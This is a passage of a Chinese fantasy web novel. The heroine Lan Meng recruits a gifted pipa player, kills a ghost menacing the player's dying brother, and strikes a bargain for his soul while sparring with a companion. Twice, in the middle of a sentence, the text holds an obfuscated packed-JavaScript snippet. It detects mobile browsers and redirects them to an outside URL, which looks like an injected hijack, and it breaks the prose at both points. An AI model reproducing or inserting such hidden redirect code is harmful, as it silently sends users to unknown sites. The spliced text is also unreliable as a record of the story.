岚孟满脸惬意地斜靠在窗边,脑袋随着乐声左右摆动。柳逸直依然靠在榻上,用衣袖遮住了脸,不知道醒着还是睡了。 乐声稍歇,一阵明亮纯净的琴声响起,这时,有一大群的鸟儿自远处飞来,扑腾着翅膀在莲台上空盘旋,振翅的声音和乐声交织在一起,相得益彰,令人叹为观止。 岚孟摇晃着的脑袋忽然停顿了,她注意到了给琴音作配的一缕琵琶声。 她扭头看向莲台,目光锁定了那位弹琵琶的姑娘。那姑娘身着素衣,不施粉黛,在一干婀娜多姿的娇花之中毫不起眼。但值得注意的是,一只小鸟在她周围盘旋捣乱,而她的琴声却没有一丝错漏之处。 岚孟动了动手指,雅间门边的风铃叮当作响,不多时,一个青衣侍女走了进来。 “不知姑娘有何吩咐?” 岚孟问:“那位弹琵琶的姑娘叫什么名字?” 青衣侍女顺着她的手往窗外看去,答道:“回姑娘,那是秋迁秋姑娘,受梅娘子邀请来此卖艺,并非楼中乐师。” 梅边吹笛的东家姓梅,人称梅娘子。 “她很缺钱?”岚孟挑眉。 梅边吹笛毕竟是花楼乐坊,而不是宫廷教坊司,若不是囊中羞涩,恐怕不会有好人家的姑娘愿意踏足这等烟花柳地。 侍女道:“奴婢不太清楚,不过听楼里的姐姐闲聊时说起过,秋姑娘好像有个病入膏肓的情郎。” 岚孟皱眉,怎么这么多药罐子。她递给侍女一块金锭,足足有一两重,吩咐道:“麻烦你待会请秋迁姑娘过来一趟。” “是。” 侍女收下金锭,福了福身便退出去了。刚走到楼梯口,便遇到了迎面走来的梅娘子。后者见她手里拿着的金锭,顿时眉开眼笑,一把将金锭抓了过来,爱不释手地摩挲几下,问道:“是哪位贵客点了姑娘?” 侍女答道:“是三号房的客人,点名让秋迁姑娘过去一趟。” “三号房?”梅娘子想了想,灵光一闪道:“是一男一女同行的那一间吧?” “是。” 梅娘子掩唇笑道:“那两位郎才女貌,我还当是一对呢,居然看上秋迁了?不过秋迁确实是个美人胚子,有这般际遇也是她的造化。你且回去吧,我亲自去叫人。” 梅娘子扭着腰哼着歌走下了楼,嘀咕着“年轻人玩的就是花啊”。 侍女听见了,这才猛然意识到梅娘子意会错了。不不不,也可能是她误解了客人的意思,难道那姑娘真的是为那公子点的秋姑娘?看着不像啊……侍女陷入了自我怀疑之中。 演奏结束了,一楼的换衣室内,秋迁正收拾好东西准备离开,一个人从背后唤了她一声,秋迁转过头,见是满脸笑意的梅娘子。 “秋迁啊,有天大的好事!有位贵客指名道姓让你去弹琴呢!” 秋迁皱眉道:“梅娘子,卖艺不卖身,我们可是说好了的。” 梅娘子凑过去挽住秋迁的胳膊,笑道:“这我当然记得了,只是让你去弹琴而已,又不做什么。”她把那块金锭塞进秋迁的手里,“这是贵客赏你的,你看,这还没见着人呢就这般阔绰,你要是得了贵客的青眼,要攒够给你那相好治病的银子还不是易如反掌?” 秋迁反驳道:“那是我兄长。” 梅娘子应承道:“是是是,不过你们也没有血缘不是,我听说寸老头生前不还想让他儿子娶了你吗?” 秋迁避而不答。她看着手里金锭面露犹豫。金锭沉甸甸的,该有一两重,还是品质极好的脂金。她夜夜来梅边吹笛卖艺,一个月最多也就能挣二十两银子,但是她买一剂汤药就得花十两银子了。她知道楼里的姑娘若是得了贵客的宠爱,一晚上挣百两千两也不在话下,可她…… 梅娘子在她耳边蛊惑道:“如何?今晚只是去弹琴而已,要不要去,全看你的心意,可是过了这个村就没这个店了,你也不想你那兄长一直缠绵病榻吧。” 秋迁深深舒了一口气,终于下定决心道:“我去。” 三楼的客人非富即贵,布置也清幽雅致,侍女一般都候在楼梯口,没有听到风铃传唤是不会上前打扰的。 青衣侍女见到秋迁抱着琵琶上楼时,本想提醒她一下,可是她一抬头就看见了在楼梯拐角处给她使眼色的梅娘子,到了嘴边的话又咽了下去,只给秋迁指了方向,多余的话一句也没有说。 秋迁忐忑地敲了敲房门,心想,贵客只是欣赏她的琵琶叫她来弹奏也便罢了,若是强迫于她……她该反抗还是顺从?若是一夜就能挣到足够的银两,她该拒绝吗? 还不等秋迁想好自己该怎么做,清润的男子声音传入了她的耳中:“进来吧。” 秋迁不由自主抖了一下,再深呼一口气,才推门走了进去。 醇厚的酒香扑面而来,秋迁低着眼睛,只瞥见一个青衣男子正对着她坐在榻上,她抱着琵琶朝他盈盈一拜,话说出口了才发现自己的声音在颤抖。 “小女子秋迁见过公子。” 柳逸直盯着秋迁怀中的琵琶打量了一番,心想这也没什么稀奇的啊。 发觉贵客在打量自己的时候,秋迁怕得双腿都打起了摆子,鼻头难以遏制地酸涩起来。 怎么办?这个贵客还是个酒鬼…… 就在她想夺门而出的时候,一个惊讶的女声响了起来:“你给他行礼做什么?是我找的你。” 秋迁一惊,下意识抬头朝声源处一看,只见一个霞姿月韵的女子撩开红纱走了过来,目光温柔浅淡,如微凉的秋水。 岚孟看着秋迁红彤彤的眼眶,冷眼瞥向柳逸直:“你欺负她了?” 柳逸直:“?我冤枉啊!” 岚孟生气道:“那她怎么一副要哭的样子!” 柳逸直一头雾水:“我坐在这就没动弹!你就在屋里,难道不知道我什么也没做吗!” 看着 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柳逸直和岚孟不约而同倒吸一口凉气。 秋迁更忐忑了,为什么要用一副见到了什么可怕事物的眼神看着自己? 岚孟清了清嗓子,问道:“秋姑娘,你有兴趣入道修行吗?你很有天赋,若是勤加修炼,日后必成大器。” “你们是修士?”秋迁问道。 “你不妨看看你和我们二人身上有何不同。”柳逸直提点道。 秋迁不明所以,瞅瞅岚孟,又瞅瞅柳逸直,最后低头看了看自己,不确定道:“你们身上好像有似有若无的雾气?” 她看向柳逸直,“公子身上的要浓一点。” 柳逸直解释道:“你看到的‘雾气’,其实就是灵气,‘雾气’的深浅代表了这个人实力的强弱。”他睨了岚孟一眼,哼道:“她比我厉害,只不过收敛了周身灵气,所以她身上的‘雾气’才会比我的浅。” 岚孟对柳逸直的指责无动于衷,只看着秋迁道:“凡人修炼的第一步是‘修元’,脑汁、心血、精汁是人人生来就有的真元,有形的真元能生出无形的元真,有了元真才能引灵气入体冲击三关九窍,继而打通‘任’‘督’‘通’三脉,如此才能晋升引灵境。” 她伸出手指隔空点了点秋迁手里的琵琶,道:“你现在已经通过弹琵琶修炼出真元了,所以才能用乐声吸引鸟雀,也能看见我们身上的灵气。一般人得沐浴在相应属性的灵气里才能修出元真,只有少部分人能在灵气驳杂匮乏的环境里修元成功,这些人通常被称为天之骄子,秋迁,你也是其中之一。” 柳逸直打了个比方:“就好比别人得用最好的乐器才能弹奏,而你只需要一片树叶就能吹出美妙的乐曲。” 秋迁指了指自己:“那我岂不是神童?” 岚孟点头道:“也可以这么说。” “如何?你若是想要修道,我可以给你引荐一位师傅。” 柳逸直一下子就想到了什么,凑到她耳边低语道:“你说的师傅不会是尧玦吧?” 温热的呼吸拂在耳廓,岚孟不动声色往后拉开距离,淡淡地瞥他一眼,“笑话,尧玦不是已经死了?他还能从坟堆里爬出来不成?” 柳逸直狐疑地收回目光。 是他多心了么。 45. 玲珑心 见秋迁满面犹疑,岚孟想起了什么,问道:“莫非是担心你那情郎?” 秋迁面上一红,讪讪地解释道:“是家兄。” 她是被寸家收养的孩子,寸老爹几年前过世了,只剩她和寸微云相依为命。人人都觉得他们俩是一对,就算她解释再多也没人相信。 岚孟道:“虽然我不会抓药炼丹,但是简单的病症还是会看一点,你若是不介意,我可以随你回去看一下。” 秋迁面上一喜,忙道:“我们高兴还来不及,怎会介意?” 岚孟站了起来,扯了扯被压皱的衣襟,道:“那我们现在就走吧。” 柳逸直跟着起身,“那我也……” 岚孟看他一眼,指了指案桌上还未开封的一坛酒,“别浪费,这可是专门为你买的。” 她转而给他传音:我交了钱的,你可以在这里待到明天天亮,要是闲不住了可以去收集相思泪,这花楼里应该不缺为情所困的人。 她狡黠地笑了一下,点了点自己的手腕,然后便揽住秋迁的肩膀施施然走出了房间。 柳逸直无奈扶额,真是造孽啊…… 他扯开衣袖,血线已经蔓延到了上臂,看着触目惊心,却不疼不痒。他这两天没有吃疗伤的药,但是肺腑上的伤反而好得差不多了。 他越发怀疑这花攀手到底是不是毒了。 - 秋迁的家和梅边吹笛只隔了两条街,一路上熙熙攘攘,灯火通明。 “家兄的身子一直不大好,三年前开始便时不时晕倒,夜里还会梦魇,大夫说是体弱血虚、心气郁结之症,吃了很多药、换了好几个方子也不见好,几个月前甚至吐血了,如今更是病得下不来床。” 秋迁推开院门,一阵冷风迎面吹来,她忍不住哆嗦了一下,朝身后之人道:“闫姑娘,请进。寒舍简陋,让您见笑了。” 院子不大,仅一座正房、东西两个厢房。银霜铺地,惨白的月光洒在院中平整的石板上,一条黄狗蜷缩在东厢房门口的窝里,听到秋迁的声音一下子便站了起来,兴奋地摇着尾巴。 房内燃着昏黄的烛火,有咳嗽声传出来,秋迁连忙放下琵琶跑了进去。 岚孟走到门前,黄狗凑近她闻了闻,似乎是察觉到她没有恶意,它便又躺回了窝里。 岚孟提步走了进去,踏入房门的一瞬间她就感觉到了不对劲,眨眼间便掠过屏风来到了床前。 一只身材高大的恶鬼半跪在床上,手掐着秋迁的脖颈,将她举在了半空,秋迁满脸痛苦,双手无力地抓着恶鬼的胳膊。 床上躺着个脸色苍白的男子,两眼紧闭,不知道是死是活。 那鬼恶狠狠盯着岚孟,嘴上长出了獠牙,警告道:“速速离去!否则我就杀了这女娃!” 岚孟慢条斯理地抽出了商刀,刀刃与刀鞘相剐蹭的声音摩擦着在场每一个人的鼓膜,她笑了一下,语气转冷:“就凭你?” 恶鬼阴恻恻道:“那就看是你的刀快,还是我的手快了。”他收紧五指,尖锐的指甲扎进秋迁的脖颈里,她痛苦地挣扎起来,细小的血珠顺着她的脖颈淌了下来。 这时,寸微云一下子睁开了眼睛,他的胸膛剧烈起伏,额头直冒冷汗,他伸出手一把抓住恶鬼的脚踝,喘着粗气道:“放了秋迁,你要什么我都给你。” “哈哈哈之前那股宁死不屈的劲呢?早知如此,老子何必费那么多心力,就该早早抓了这女娃!”恶鬼大笑起来,尖锐的啸声把窗户、门板都震开了,大黄狗“汪汪”叫了起来。 岚孟拧眉道:“聒噪。” 恶鬼反手朝她挥出几道凌冽鬼气,岚孟狼狈地举刀抵挡。 恶鬼哈哈笑起来,“看你狂妄至极的样子,还以为你有多厉害呢!不过是个乳臭未干的黄毛丫头,竟敢在老子头上动土!” 森然鬼气划破了岚孟的脸颊,鲜血流淌而下,看起来狼狈不堪。 “老子这就取了你的狗命!” 恶鬼一把甩开秋迁,举着长有尖锐指甲的利爪扑向岚孟,这时,岚孟勾了勾唇,恶鬼心中警铃大作,立即调转方向,然而已经迟了。 数条蔷薇藤冲破地砖径直扎入了他的脑袋和四肢,同时向下收缩,将他狠狠掼在了地板上。 岚孟一步步走向恶鬼,斜眼俯视着他,唇边噙着一抹冷笑,“在下不才,擅长偷袭。” 她踩在恶鬼背上走了过去。 蔷薇藤同时收紧,将恶鬼绞成了碎片,凄惨鬼啸响彻天际,房内的花瓶应声而裂,冷冽寒风穿堂而过,屋中烛火“唰”地一下全灭了。 秋迁趴在床脚,捂着脖子咳嗽,抬眼时正好看到恶鬼灰飞烟灭时盘旋而上的风掀起了女子的衣衫,一束月光探窗而来,正正照在了她血迹斑斑、冷漠而平静的脸上。 是那样的美丽又危险。 岚孟在床前的凳子上坐下,抬手拭去脸颊上的血迹,细长的伤口瞬间便愈合了。 她打了个响指,蜡烛无火自燃,屋中恢复了明亮。 秋迁从床上爬下来,抬起裙摆就要跪下,岚孟连忙扶起她,“免了免了,顺手之劳而已。” 这让秋迁感谢的话哽在了喉头,一时间僵在了原地。 岚孟看了看她脖子上的血痕,伸手一抚,鬼气便被逼了出来,她道:“好在那死鬼的指甲没有毒,你擦点金疮药就行了。” 秋迁这才找到机会福了福身道:“多谢闫姑娘。” 岚孟看向脱力倒在床榻上的男子,把他的手抓了过来,两指放在他的手腕上,以灵力灌入他的经脉之中。 寸微云只感觉有一股暖流涌入了四肢百骸,安抚着他全身的疼痛,紧皱的眉头终于舒缓下来,额头也不再冒冷汗。 岚孟松开了手,秋迁忙问道:“闫姑娘,我哥怎么样了?” 岚孟道:“不太好。” 她从芥子袋里翻出一粒种子,丢进被蔷薇藤破开的地砖之下,种子在松软的泥土里生根发芽,不多时便长成了一丛蓝色泛着萤光的草。 她把草拔起来放到秋迁手里,道:“用清水熬煮,三碗水熬成一碗水。” 秋迁连忙拿着草出去了。 岚孟目送她风风火火跑出门去,扬了扬手,房门和窗户便都合上了,这时,她才扭头看向床榻上的男子。 “你们家可真是卧虎藏龙。寸公子应该清楚我支走秋迁的原因吧?” 寸微云把自己撑坐起来,掩唇咳嗽了好几声。他的脸色已经好了很多,烛光下俊朗的眉眼也仿佛笼罩了一层柔光,他望向站在不远处双手环胸的女子,语气平淡,好像只是在问明天早上吃什么。 “敢问姑娘,不知在下还有几日可活?” 岚孟坦言道:“不超过一年。” “一年……”寸微云重复着,露出一个要哭不哭的凄惨笑容,“也够了。” 他调整了情绪,容色恢复平静。 “七八天前,那只鬼就找上我了,说想要我的心,我当然拒绝了,那之后他夜夜都会前来,天亮之前才会离开。我害怕他盯上秋迁,只好劝她住在梅边吹笛,等天亮了再回来。” 岚孟道:“秋迁不肯的吧?” 寸微云露出一个浅淡的笑容,答道:“她不放心我一个人在家,那边一结束就回来了。好在秋迁看不见那只鬼,那鬼也没表现出来对她的敌意,直到今天,咳咳咳……” 等他那一阵咳嗽缓过劲了,岚孟才道:“今夜那鬼察觉到了我的气息,所以才对秋迁下手了。” “那鬼非要我心甘情愿献出心脏,不知姑娘可否解惑?” 岚孟在凳子上坐了下来,翘着二郎腿,手肘抵在膝盖上托着腮,她道:“因为你有一颗七窍玲珑心。一颗心能抵一百年的道行,那鬼正处于修炼的瓶颈期,若是吃了玲珑心,他便能一举成为鬼修。只有生者自愿赠予, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929641|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玲珑心才有效果,所以他才没有直接对你下手。” 寸微云垂下眼眸:“原来如此。” “身怀七窍玲珑心,你身边应该群狼环伺才对,怎么之前没有被恶鬼发现?”岚孟疑惑道。 寸微云想了想,从枕头底下摸出一个锦盒来,把里面的东西展示给岚孟看。 “家父叮嘱过要随身佩戴此物,可十天前被我失手打碎了,不知是不是它的缘故?” 看清锦盒里是何物的时候,岚孟的心口一烫,继而一酸,酸涩如潮染上眼尾,形成了一抹红。 锦盒里安静躺着两块碎裂的玉,断口只有两道,若是将其合在一起,该是一枚雕刻着雀鸟花纹的玉玦。 尧玦的玦。 岚孟在衣襟上擦了擦手心的汗,才将那断裂的玉玦取了出来,她翻来覆去看了看,是尧玦所留无疑。法力已经不剩多少了,就算不被失手打碎,这玉玦也很快就会因法力消弭而失去效用。再过不久就会有雪灾,死的人不会在少数,若是引来实力更强的鬼,说不定这对兄妹会被吃得渣都不剩,只能说时间刚刚好。 岚孟将玉玦还了回去,问道:“令尊可曾说过这玉玦的来历?” 寸微云摇了摇头,“家父未曾提及,只说是非常重要之物,万万遗失损坏不得,只可惜被我失手打碎了。” 岚孟点头道:“无碍,它也已经尽到自己的责任了。” 寸微云不明所以地看她,岚孟却没有解释,只道:“你这副身躯早已无力回天,喝再多的药也无济于事。我可以传你一些修为,保你身体康健、行动如常,不必整日缠绵病榻,只不过却续不了你的命,等死期一到,你还是活不了。” 寸微云问道:“姑娘有什么条件?” 岚孟勾唇笑道:“聪明人说话就是爽快。” 她唇边的笑意压了下去,“在你死后,我要你的魂魄。” 空气安静下来,烛火幽幽,照在岚孟身上。她的脸一半被昏黄的烛火照耀,一半又隐藏在幽深黑暗之中,目光却是如无波无澜的古井一般平静,让寸微云乍然加快的心跳慢慢平复了下来。 “姑娘要我的魂魄有何用?”他问道。 岚孟没有隐瞒:“我需要身怀七窍玲珑心之人的魂魄制作引魂灯的灯芯。” 她补充道:“你放心,这样做不会让你魂飞魄散,反而有助于你成为鬼修。身负玲珑心的人比普通魂魄更有做鬼修的潜质,所以你才有早夭之相。我会全力保护你魂魄的安全,在等我达到目的之后,也会信守承诺解放你的魂魄。” 寸微云疑惑道:“在下不过是个手无缚鸡之力的书生,姑娘既然是修为高强的仙长,想要我的魂魄何不直接来取?” 岚孟解释道:“和那鬼想要你的玲珑心一样的道理,魂魄必须自愿成为灯芯,否则即便做成了引魂灯,也招引不来魂魄,所以我才把利害关系都和你讲清楚,答不答应全看你的心意。” “引魂灯……姑娘要招引谁的魂魄?”寸微云一言直指要害。 岚孟指了指他手中的锦盒,“这枚玉玦的主人。” 寸微云怔了一下,低头看着锦盒里断裂的玉玦,神色晦暗不明。若她没有说谎,那这玉玦的主人当是他的救命恩人无疑。 “秋迁也有修行的资质,你若是答应,我会引她入道修行,正好她修仙你修鬼,你们也不必下黄泉做苦命鸳鸯。” 寸微云:“……姑娘倒是幽默。” 岚孟笑道:“过奖,还是第一次有人这么夸我。” “可否容我们商量一下?”寸微云问。 岚孟:“考虑好了就叫我的名字,我会听到的。引魂灯的事情还望公子保密。” 寸微云点了点头。 秋迁端着药快步走了进来,然而闫扶音已经不在房中,寸微云靠坐在床头,一双笑眼安静地注视着她。 “千千,我有话和你说。” 46. 魅妖皮 岚孟迈着轻快的步伐往梅边吹笛走去。 真是踏破铁鞋无觅处,一座小小的介城,竟让她集齐了魅妖皮和引魂灯灯芯,真是天助我也!要不是现在夜深人静,她真想站在高处嚎那么一嗓子哈哈哈! 既然羲和神使都说了会有雪灾,那她何不多待几天?人心何其脆弱,等大雪一来,少不了他们哭的时候,说不定很快就能集齐苍生泪了。而且寸微云要是答应,她还得领秋迁入门修行,让秋迁来击退那些觊觎玲珑心的鬼魂。 这么一算,她至少还得在介城待三四个月。 既然要久待,那就去租个屋子好了,一直住客栈也不方便。还得把柳逸直那个碍事的家伙打发走,等把魅妖拿到手,就解了花攀手让他滚蛋好了。 想好了接下来的打算,岚孟只感觉未来一片光明,哼着小曲一蹦一跳朝前走,完全没发现一个人躲在暗处敛气屏声注视着她的一举一动。 柳逸直心中纳闷不已,她怎么这么高兴?有古怪。 就在他打算叫住她时,怀中忽然传来一阵灵力波动,他摸出传讯符一看,是路央来信了。 看着符纸上的字迹,柳逸直的脸色晦暗不明。 岚孟回到梅边吹笛,才知道柳逸直已经走了,而且在介城转了一圈也没找着人。 她心想,早知道应该留个联系方式来着,她也不知道他住哪。算了算了,天亮了再找吧,醒酒花只会推迟上涌的酒劲,她现在已经感觉有点上头了。 于是岚孟便回了客栈休息。 次日,她是被巨大的拍门声吵醒的,睁开眼睛一看,天色已经大亮,瞧着像是已经快到午时了。她理了理睡得布满褶皱的衣裳,顶着鸡窝一样的头发去开门。 “哟,回来了,你上哪去了?” 柳逸直低头看着她,面色不虞,挤开她走进了屋里。 岚孟揉了揉朦胧的睡眼,把门合上了。 不速之客已经施施然在桌边坐下了,从袖中抽出一张符纸“啪”地一声拍在了桌子上。 这响声把岚孟最后一分睡意吓得干干净净,顿时清醒得不能再清醒,她把符纸拾起来定睛一看,上面写着:花攀手是药非毒,可疗内伤,川穹灵液可解血线。 岚孟抬眸看了柳逸直一眼,只见他从怀中取出一个瓷瓶,还把瓶上“川穹灵水”四个大字展示给她看,然后拔掉木塞,撩开袖子把灵水倒在了胳膊上,不多时,皮肤下触目惊心的血线和红点便消失了。 他朝她抬了抬下巴,冷漠道:“你作何解释?” 岚孟笑了一声,五指收拢,那符纸便在她掌心化作了齑粉。 “你不都知道了,我还有什么好解释的?更何况,你就是这么对待自己的救命恩人的?我都还没收你药钱。” 柳逸直冷笑:“我可没求着你救我。你若是担心我会告密,又或者想让我帮你收集苍生泪,大可以给我下真正的毒药威胁,何必找借口骗我?” “我不过是想看你像跳梁小丑一样被我戏耍罢了,哪有那么多理由。”岚孟朝他伸出手,“把魅妖给我,药钱我就不和你计较了。” “我若是不给,你待如何?”柳逸直和她对视,琥珀色眼瞳中的挑衅意味明显。 岚孟骤然发难,凌冽的掌风直逼柳逸直面庞,他身形一动,整个人消失在原地,下一秒,他出现在岚孟背后,以掌为刃袭向她后颈。岚孟手腕处的蔷薇藤迅速抽条变长,劈裂空气打向柳逸直,后者不躲不闪,在蔷薇藤迫近他的身体时一把攥住,手上用力,拽着蔷薇藤将人扯了过来。 岚孟立即切断蔷薇藤,藤条从中间断开,柳逸直踉跄几步才站稳。 落在床头的商刀出鞘飞入岚孟的手中,她顺着冲势向前挥砍。柳逸直抽出腰后匕首格挡,两人在狭小的房间内过招,谁也没有用灵力,只凭着力量、速度和身法。 桌椅被撞倒,茶壶茶杯碎了一地,两人你来我往,一时间难分高下。就在这时,一只通体全黑的鸟忽然撞破窗户,径直穿透岚孟设下的结界,一头撞在了她的背上。 巨大的力道让岚孟向前扑了出去,而她面前的地上布满了碎裂的瓷片,柳逸直下意识伸手去抓,却只抓到了她颈后的衣衫。 原本他们打斗时岚孟的衣服就被划破了,被他这么一抓,柔软的布料不堪重负,“撕拉”一声裂开了。 白皙的肩背和火红的绒羽在柳逸直眼前一闪而过,他脑子一空,而面前的人已经慢慢站直了身体。 柳逸直这才如梦初醒,连忙将手上撕裂的半片布料放回原位,慌乱中没有对整齐,他还掐起两指整理了一下。 下一秒,“啪”地一声,他的脸上便挨了一记耳光,顿时火辣辣地疼,伴随着耳光的还有一句“流氓”和踢在肚子上的一脚。 柳逸直就像断线的风筝一般,身体在空中划过一条弧线,最终重重撞到了墙壁上。 柳逸直捂着脸抬起头,看见黑着一张脸的姑娘正对着她站在地上,毛糙的头发乱七八糟地搭在肩膀上,背后残破的布料被风吹到了前面,在空中微微颤动。 她一步一步往后倒退,坐到床上,从床榻深处摸出一件外衫来穿在身上,然后放出蔷薇藤将地上那只黑鸟吊在了半空中。 “三足金乌?” 蔷薇藤吊着金乌一只脚,剩下的两只脚岔开在两边,泛着光泽的漆黑翅膀张开,它的背上还横斜着一截树枝,乍一看就像是个“米”字。 金乌哆哆嗦嗦道:“启,启禀大人,元君让小的来送,送扶桑枝。” 蔷薇藤松开金乌的脚,以迅雷不及掩耳之势将它背上的扶桑枝抽了出来,金乌“啪叽”一声掉在了地上,正正落入洒落的茶水之中。 金乌在地上躺尸片刻,见没人搭理自己,便小心翼翼站了起来,迈着三条腿蹑手蹑脚往窗边走。 岚孟看着金乌走了半天也才走了两尺远,不耐道:“快滚,别在这碍眼。” 金乌如蒙大赦,三条腿并在一起,仰首挺胸:“是!小的告退了!”然后它张开湿漉漉的翅膀飞了起来,牟足了劲,本想一鼓作气从被它撞破的窗户洞飞出去,结果“咚”地一声——它一头撞在了窗棱上,脑袋抵着木板滑了下来。 好尴尬。金乌紧紧闭着眼睛,希望这只是一场梦。 柳逸直的手从捂着脸改成了捂着嘴,咬紧了牙关生怕自己笑出声来。 岚孟无语地看着躺在地上装死的金乌,心想崝莫不是挑了个最蠢的金乌过来吧? 她走过去拎起金乌的一条腿,推开窗户将其扔了出去。金乌扇动翅膀缓缓升了上来,继而如光箭一般窜了出去,眨眼间便消失在了天际。 她转过身来,发现柳逸直已经站了起来,面上一本正经,看不出来他此刻是悲是喜,仅俊脸上一个红色的巴掌印十分醒目。 见她看了过来,柳逸直清了清嗓子道:“告诉我你找魅妖和收集苍生泪做什么,我就把魅妖给你。” 岚孟理直气壮道:“我接了魅妖的任务,当然是要拿魅妖去换功勋。至于苍生泪……袁涯邻你认识吧?他们方士修行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929642|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要苍生泪,他给了我一大笔钱,我帮他收集,仅此而已。” “真的假的?”柳逸直十分怀疑。依照他的推测,她潜入山到源绝不是为了加入丹灵卫这么简单,绝对有着不可告人的秘密,而且她这人阔绰得很,昨天还直接给了秋迁一两金子,可不像是缺钱的样子,收钱办事这个理由可站不住脚。 岚孟眉头紧锁,一副不耐烦的样子。 “你爱信不信。” 柳逸直大步走过去把装了魅妖的锦盒塞进她手里。 余光瞥见她白皙修长的脖颈,他连忙别开眼睛,干巴巴道:“衣服我会赔你,我先走了。”话未说完他便大步流星走了出去。 房门被轻轻带上,屋中恢复了安静,岚孟在原地站了一会,才收好扶桑枝,换了套衣服下楼。 她敲了敲柜台桌面,朝掌柜道:“天字四号房退房,劳烦掌柜的去核算一下损失,我会照价赔偿。” 掌柜笑呵呵道:“方才有位公子已经赔偿过了,客官安心离开便是。” 岚孟愣了一下,将钥匙放在柜台上,提步离开了这个住了将近半个月的客栈。 随意买了点吃食对付过去这一顿,岚孟来到牙行,找到房牙,说了自己的条件。 要清幽静谧,远离喧嚣,最好附近也没有其他人家,但又不能离寸家太远,否则不好照看那两口子。 房牙按照她的要求给她推荐了几处宅院,岚孟一一看过,最终选了个不大不小的院子,和寸家隔着一条河,院子里有棵枯干的枣树。据说屋主做了大生意,已经搬去城北朱衣巷住了,留下了这个家具齐全的老宅,正因如此,租金略高,所以一直没人租住。 钱对于岚孟来说不是什么大问题,她爽快地交了一年租金,还给了房牙三两银子,让他找人去打扫房屋。钱到位了,房牙办事也麻利,天黑之前便把屋子打扫得干干净净。 岚孟花了小半个时辰在宅院四周布下了几道结界,确保破妄境之下无人能够窥探,然后才紧闭房门,将封印了魅妖的锦盒取了出来。 明亮的月光撒在金光流转的阵法之上,半透明的魅妖奄奄一息地躺在阵法中央,比起刚被打回原形那一日,它的身体里多了很多絮状的杂质,杂质越多,说明魅妖的死期越近。 灵力从岚孟身上源源不断输送到魅妖体中,直到它完全变得透明,她才停止了灵力输送。 阵法的光芒将魅妖牢牢锁在半空中,它奋力挣扎,却怎么也逃脱不了。 “你这毒妇,到底想干什么?” 岚孟把手放在了商刀上,然而商刀牢牢抓紧了刀鞘,任她怎么用力也抽不出来,她叹了口气,转而拔出了参剑。 参剑一出,四周的空气都冷了下来,地面和屋檐上都结了一层白霜。 魅妖惊恐地看着提剑走来的女子,她的衣裳在寒凉刺骨的夜风吹拂下猎猎作响,满头青丝张牙舞爪,瞳孔漆黑如深渊,让魅妖的心跳如擂鼓。 她不像是世间人,反似地下鬼,一着不慎,便会被拖入黑暗无光的地狱之中。 她的声音冷若寒冰,没有一丝温度。 “得罪了。” 参剑一下一下剜在透明的身躯上,本该响彻天际的惨叫声被困在结界里,淋漓鲜血染红了白皙的手掌和褐黄的土地,乌云聚拢过来遮蔽星月,整片大地都陷入了昏暗之中。 半个时辰后,染血的手将一块纯洁无瑕的透明“布料”整整齐齐放在绘刻了复杂阵纹的铜制剂托盘上。 这就是魅的皮囊。 47. 寒鸦声 十一月十五,天阴,北风呼啸,落叶纷飞。 寸宅,正房屋子里,岚孟正襟危坐,案桌对面是面色苍白的寸微云,秋迁站在他身侧。 岚孟看向秋迁,眼中含笑:“秋姑娘先出去吧,不要让任何人打扰,否则令兄恐有性命之忧。” 秋迁看了寸微云一眼,后者点了点头。秋迁便推门出去了,贴心地拉紧了门。 寸微云掩唇咳了几声,“闫姑娘,我还想确认一件事情。若是做了鬼修,我还有和活人接触的机会吗?” 岚孟道:“自然。归根到底,鬼修也算是修士,和你之前见过的鬼魂可不一样。只要你实力够强,凝实魂体也不是什么难事,能在阳光下生活,活人也能看得见你。若是厌倦了凡尘俗世,你想去投胎重活一次也没人拦着你。” 寸微云勾唇一笑,“在下看来,轮回转世不过是虚妄的幻想罢了。人的秉性和出身、阅历息息相关,就算是有下辈子,那也不是我了,只不过是和这辈子的我拥有同一个魂魄而已。闫姑娘,我只想活好这一世。” 岚孟微微勾唇,“寸公子倒是看得通透。”她站起身来,“那事不宜迟,现在我就给你传修为。” 寸微云看着面前风轻云淡的女子,问道:“闫姑娘就不担心在下反悔?” 岚孟勾了勾唇,“公子是聪明人,自然知道反悔会有什么后果。”她意有所指地瞥了一眼门外。 寸微云最大的弱点就是秋迁,她有千万种法子让秋迁生不如死,他不可能想不到这一点。为了秋迁的安全,他会乖乖把魂魄献给她,更何况她已经给足了诚意,不仅让他恢复康健,还会引秋迁入道,保证两人的安全,和她交易有利无害。 岚孟让寸微云盘腿坐在蒲团上,她站在他身后,把手轻轻放在了他的头顶,蔷薇藤从手腕处伸了出来,长出枝丫往下攀爬。 “放轻松,不要抵抗,为了确保魂魄完好无缺,我不会害你。” 寸微云紧绷的身体逐渐放松下来,蔷薇藤爬过他的身躯,同时扎入了明堂、洞房、泥丸、气府、鹊桥、重楼、鸠尾、绛宫、黄庭九窍之中。尖锐的疼痛感传来,寸微云不由自主闷哼一声,很快,温和的元气顺着蔷薇藤进入了他的九窍之中,寸微云只感觉浑身都暖洋洋,仿佛置身于柔软的云朵之中。 屋外,秋迁焦急地转来转去,过了约摸一炷香的时间,房门吱嘎一声开了,闫扶音走了出来,秋迁连忙迎了上去。 